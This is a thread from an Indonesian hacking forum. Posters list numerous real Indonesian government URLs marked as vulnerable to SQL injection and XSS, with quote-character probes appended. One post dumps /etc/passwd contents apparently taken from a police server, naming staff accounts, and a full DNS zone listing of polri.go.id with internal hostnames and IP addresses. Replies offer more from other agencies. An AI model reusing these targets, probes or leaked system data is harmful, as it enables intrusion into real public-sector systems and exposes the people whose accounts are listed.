Cyber Security Forum (X-code) - PT. Teknologi Server Indonesia

bukan maksud tuk menyebarkannya moga ja da yang mau ngasih tahu admin webnya langsung....
pa lagi moga ja adminnya baca ini... om momod ma om mimin lo g setuju dengn thread ini silahkan di close...

Langsung aja
XSS dulu ja:
http://sikec.garutkab.go.id/index_mgf.p ... K4t_M1mPi1

VUL SQLI:
http://www.pemkomedan.go.id/gallery_det ... ?idx=98%27
http://www.dprdkutaikartanegara.go.id/g ... .php?id=77'
http://arsip.banten.go.id/sim.php?link=isi&id=3%27
http://pn-lubukbasung.go.id/index.php?m ... &kat=19%27
http://rsud.sragenkab.go.id/detail.php?id=30%27


Kemungkinan bisa SQLi (belom coba ane):
http://www.padangpariamankab.go.id/news ... &cid=15%27
http://diskopukm.baliprov.go.id/?page_id=307%27
http://pariwisata.garutkab.go.id/index. ... dd_group=1
http://ilmea.kemenperin.go.id/perpustak ... hp?id=3703


Yang ini Kumpulan error:
http://dinhut.jatengprov.go.id/www/mod. ... wcat&cid=2
http://www.tegal.go.id/footer.php
http://rsud.sragenkab.go.id/gb.php?awal=13890%27
http://www.mojokertokota.go.id/koperasi ... dustri.php
http://www.dinpendikpkp.go.id/?page=list_tamu
http://www.kerincikab.go.id/Berita/deta ... ambi_Ke-53___/
http://www.nttprov.go.id/web/disnak/index.php?hal=1

MOga berguna..... :tapa: :tapa: :tapa: :tapa: :tapa:

numpang naro atu kk... :maaf:
.thx.

kalo prov.go.id
biasa nya emang agak2 rentan...

yah paling gak.. bisa di coba di extract information from dns..
biasa keliatan sih...

kalo SQLi... yah ada yg bisa ada yg gak...

Yg ini servernya Pak Polisi
monggo dinikmati:
proxy1 230.130.236.198 ----> bisa untuk sms
cat /etc/passwd
root0:0:root:/root:/bin/bash
daemon1:1:daemon:/usr/sbin:/bin/sh
bin2:2:bin:/bin:/bin/sh
sys3:3:sys:/dev:/bin/sh
sync4:65534:sync:/bin:/bin/sync
games5:60:games:/usr/games:/bin/sh
man6:12/var/cache/man:/bin/sh
lp7:7:lp:/var/spool/lpd:/bin/sh
mail8:8:mail:/var/mail:/bin/sh
news9:9:news:/var/spool/news:/bin/sh
uucp10:10:uucp:/var/spool/uucp:/bin/sh
proxy13:13:proxy:/bin:/bin/sh
www-data33:33:www-data:/var/www:/bin/sh
backup34:34:backup:/var/backups:/bin/sh
list38:38:Mailing List Manager:/var/list:/bin/sh
irc39:39:ircd:/var/run/ircd:/bin/sh
gnats41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody65534:65534:nobody:/nonexistent:/bin/sh
dhcp100:101::/nonexistent:/bin/false
syslog101:102::/home/syslog:/bin/false
klog102:103::/home/klog:/bin/false
reskrimum1000:1000:reskrimum,,,:/home/reskrimum:/bin/bash
bind103:110::/var/cache/bind:/bin/false
messagebus104:111::/var/run/dbus:/bin/false
avahi-autoipd105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi106:114:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
cupsys107:108::/home/cupsys:/bin/false
haldaemon108:116:Hardware abstraction layer,,,:/home/haldaemon:/bin/false
hplip109:7:HPLIP system user,,,:/var/run/hplip:/bin/false
gdm110:119:Gnome Display Manager:/var/lib/gdm:/bin/false
mysql111:120:MySQL Server,,,:/var/lib/mysql:/bin/false
proftpd112:65534::/var/run/proftpd:/bin/false
ftp113:65534::/home/ftp:/bin/false
postfix114:121::/var/spool/postfix:/bin/false
sshd115:65534::/var/run/sshd:/usr/sbin/nologin
dovecot116:123:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
clamav117:124::/var/lib/clamav:/bin/false
toni1001:1002:Toni,,,:/home/toni:/bin/bash
irfan1002:1003:ifankeren,,,:/home/irfan:/bin/bash
kasat-renakta1003:1004:renakta,,,:/home/kasat-renakta:/bin/bash
kasat-kamneg1004:1005:kamneg,,,:/home/kasat-kamneg:/bin/bash
kasat-harda1005:1006:harda,,,:/home/kasat-harda:/bin/bash
kasat-jatanras1006:1007:jatanras,,,:/home/kasat-jatanras:/bin/bash
kasat-resmob1007:1008:resmob,,,:/home/kasat-resmob:/bin/bash
kasat-ranmor1008:1009:ranmor,,,:/home/kasat-ranmor:/bin/bash
dir1009:1010:direktur,,,:/home/dir:/bin/bash
wadir1010:1011:wadir,,,:/home/wadir:/bin/bash
kabag-analis1011:1012:analis,,,:/home/kabag-analis:/bin/bash
tornagogo1012:1013:tornagogo,,,:/home/tornagogo:/bin/bash
info1013:1014:Information,,,,:/home/info:/bin/bash
tamusap1014:1015:tamusap,,,,:/home/tamusap:/bin/bash
hilman1015:1016:Hilman,,,,:/home/hilman:/bin/bash
ppa1016:1017:Unit PPA,Unit II,523-4333,:/home/ppa:/bin/bash
root0:0:root:/root:/bin/bash bin1:1:bin:/bin:/sbin/nologin daemon2:2:daemon:/sbin:/sbin/nologin adm3:4:adm:/var/adm:/sbin/nologin lp4:7:lp:/var/spool/lpd:/sbin/nologin sync5:0:sync:/sbin:/bin/sync shutdown6:0:shutdown:/sbin:/sbin/shutdown halt7:0:halt:/sbin:/sbin/halt mail8:12:mail:/var/spool/mail:/sbin/nologin news9:13:news:/etc/news: uucp10:14:uucp:/var/spool/uucp:/sbin/nologin operator11:0:operator:/root:/sbin/nologin games12games:/usr/games:/sbin/nologin gopher13:30:gopher:/var/gopher:/sbin/nologin ftp14:50:FTP User:/var/ftp:/sbin/nologin nobody99:99:Nobody:/:/sbin/nologin dbus81:81:System message bus:/:/sbin/nologin vcsa69:69:virtual console memory owner:/dev:/sbin/nologin rpm37:37::/var/lib/rpm:/sbin/nologin haldaemon68:68:HAL daemon:/:/sbin/nologin netdump34:34:Network Crash Dump user:/var/crash:/bin/bash nscd28:28:NSCD Daemon:/:/sbin/nologin sshd74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin rpc32:32:Portmapper RPC user:/:/sbin/nologin mailnull47:47::/var/spool/mqueue:/sbin/nologin nobsaibot::/root:/bin/bash smmsp51:51::/var/spool/mqueue:/sbin/nologin rpcuser29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin pcap77:77::/var/arpwatch:/sbin/nologin apache48:48:Apache:/var/www:/sbin/nologin squid23:23::/var/spool/squid:/sbin/nologin webalizer67:67:Webalizer:/var/www/usage:/sbin/nologin xfs43:43:X Font Server:/etc/X11/fs:/sbin/nologin ntp38:38::/etc/ntp:/sbin/nologin gdm42:42::/var/gdm:/sbin/nologin pegasus100:500:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin mysql27:27:MySQL Server:/var/lib/mysql:/bin/bash ogie500:501:Joegisrijadi:/home/ogie:/bin/bash administrator501:0::/home/administrator:/bin/sh
polri.go.id. 9200 IN SOA ns1.polri.go.id. root.polri.go.id. 2009031200 36000 14400 3600000 86400
polri.go.id. 9200 IN NS ns1.cepat.net.id.
polri.go.id. 9200 IN NS ns1.melsa.net.id.
polri.go.id. 9200 IN NS ns1.polri.go.id.
polri.go.id. 9200 IN MX 10 mx.polri.go.id.
polri.go.id. 9200 IN A 203.130.236.196
apache.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
astaro.polri.go.id. 9200 IN A 203.130.236.213
www.babinkam.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
bimmas.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
www.bimmas.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
binkar.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
binkum.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
www.binkum.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
brimob.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
www.brimob.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
data.polri.go.id. 9200 IN CNAME web1.polri.go.id.
dblinux.polri.go.id. 9200 IN A 203.130.236.218
dbpolri.polri.go.id. 9200 IN A 203.130.236.209
dev1.polri.go.id. 9200 IN A 203.130.236.221
www.dokkes.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
driver.polri.go.id. 9200 IN CNAME gtw.polri.go.id.
e-proc.polri.go.id. 9200 IN A 203.130.236.207
firewall.polri.go.id. 9200 IN CNAME box.polri.go.id.
homepage.polri.go.id. 9200 IN A 203.130.236.199
humas.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
www.humas.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
polri.go.id.polri.go.id. 9200 IN TXT “v=spf1 a mx ptr ~all”
ident.polri.go.id. 9200 IN CNAME its-oke.polri.go.id.
www.ident.polri.go.id. 9200 IN CNAME web1.polri.go.id.
intel.polri.go.id. 9200 IN CNAME homepage.polri.go.id.
irc.polri.go.id. 9200 IN A 203.130.236.215
ircd.polri.go.id. 9200 IN A 209.249.65.246
its-oke.polri.go.id. 9200 IN CNAME web1.polri.go.id.
jatim.polri.go.id. 9200 IN A 203.161.30.5
javascripts.polri.go.id. 9200 IN CNAME homepage.polri.go.id.
lantas.polri.go.id. 9200 IN A 222.124.12.44
mail.lantas.polri.go.id. 9200 IN A 222.124.12.45
mail.lantas.polri.go.id. 9200 IN MX 10 mail.sanpol.polri.go.id.
www.lantas.polri.go.id. 9200 IN CNAME lantas.polri.go.id.
mail.polri.go.id. 9200 IN A 203.130.236.201
www.media.polri.go.id. 9200 IN CNAME media.polri.go.id.
monitoring.polri.go.id. 9200 IN A 203.130.236.206
mrtg.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
mulmed.polri.go.id. 9200 IN A 203.130.236.220
mx.polri.go.id. 9200 IN A 203.130.236.205
mysql.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
www.mysql.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
nad.polri.go.id. 9200 IN A 125.160.17.201
www.nad.polri.go.id. 9200 IN CNAME nad.polri.go.id.
ncic.polri.go.id. 9200 IN A 203.130.236.197
ns1.polri.go.id. 9200 IN A 203.130.236.196
ns2.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
ogie.polri.go.id. 9200 IN CNAME duksistek.polri.go.id.
papua.polri.go.id. 9200 IN A 118.97.26.214
php.polri.go.id. 9200 IN CNAME homepage.polri.go.id.
polmail.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
polribaru.polri.go.id. 9200 IN CNAME homepage.polri.go.id.
pop.polri.go.id. 9200 IN CNAME mail.polri.go.id.
proxy.polri.go.id. 9200 IN CNAME proxy2.polri.go.id.
proxy1.polri.go.id. 9200 IN A 203.130.236.198
proxy2.polri.go.id. 9200 IN A 203.130.236.212
ptik.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
www.digilib.ptik.polri.go.id. 9200 IN CNAME web3.polri.go.id.
www.ptik.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
pusdikreskrim.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
www.pusdikreskrim.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
pusdokkes.polri.go.id. 9200 IN A 203.77.225.20
pusdokkes.polri.go.id. 9200 IN MX 10 mail.pusdokkes.polri.go.id.
mail.pusdokkes.polri.go.id. 9200 IN A 202.158.0.20
mail.pusdokkes.polri.go.id. 9200 IN MX 10 mail.lantas.polri.go.id.
www.pusdokkes.polri.go.id. 9200 IN CNAME pusdokkes.polri.go.id.
pusinfolahta.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
www.samapta.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
sanpol.polri.go.id. 9200 IN A 203.130.232.138
mail.sanpol.polri.go.id. 9200 IN A 203.130.232.138
www.sanpol.polri.go.id. 9200 IN CNAME sanpol.polri.go.id.
service.polri.go.id. 9200 IN CNAME web2.polri.go.id.
sespim.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
www.sespim.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
sms.polri.go.id. 9200 IN A 203.130.236.195
sms1120.polri.go.id. 9200 IN A 203.130.236.216
smtp.polri.go.id. 9200 IN CNAME mail.polri.go.id.
software.polri.go.id. 9200 IN A 203.130.236.222
spam.polri.go.id. 9200 IN CNAME mx.polri.go.id.
sul.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
www.sul.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
testwww.polri.go.id. 9200 IN CNAME gtw.polri.go.id.
usermail.polri.go.id. 9200 IN CNAME dblinux.polri.go.id.
web1.polri.go.id. 9200 IN A 203.130.236.200
web3.polri.go.id. 9200 IN A 203.130.236.219
web4.polri.go.id. 9200 IN CNAME gtw2.polri.go.id.
weblinux.polri.go.id. 9200 IN A 203.130.236.211
webmail.polri.go.id. 9200 IN CNAME weblinux.polri.go.id.
webuser.polri.go.id. 9200 IN CNAME dblinux.polri.go.id.
www.polri.go.id. 9200 IN CNAME homepage.polri.go.id.
xjateng.polri.go.id. 9200 IN CNAME dev1.polri.go.id.
www.xjateng.polri.go.id. 9200 IN CNAME dev1.polri.go.id.
xpolri.polri.go.id. 9200 IN A 203.130.236.217

to be continue server BIN & LSN....

hati" om jgn maen" dengan polisi,tar bahaya... :kaca: :kaca:

Mksdnya apa y om yang tentang web polri td??makenya dmn om?

ijin absen ahhh

ijin absen ahhh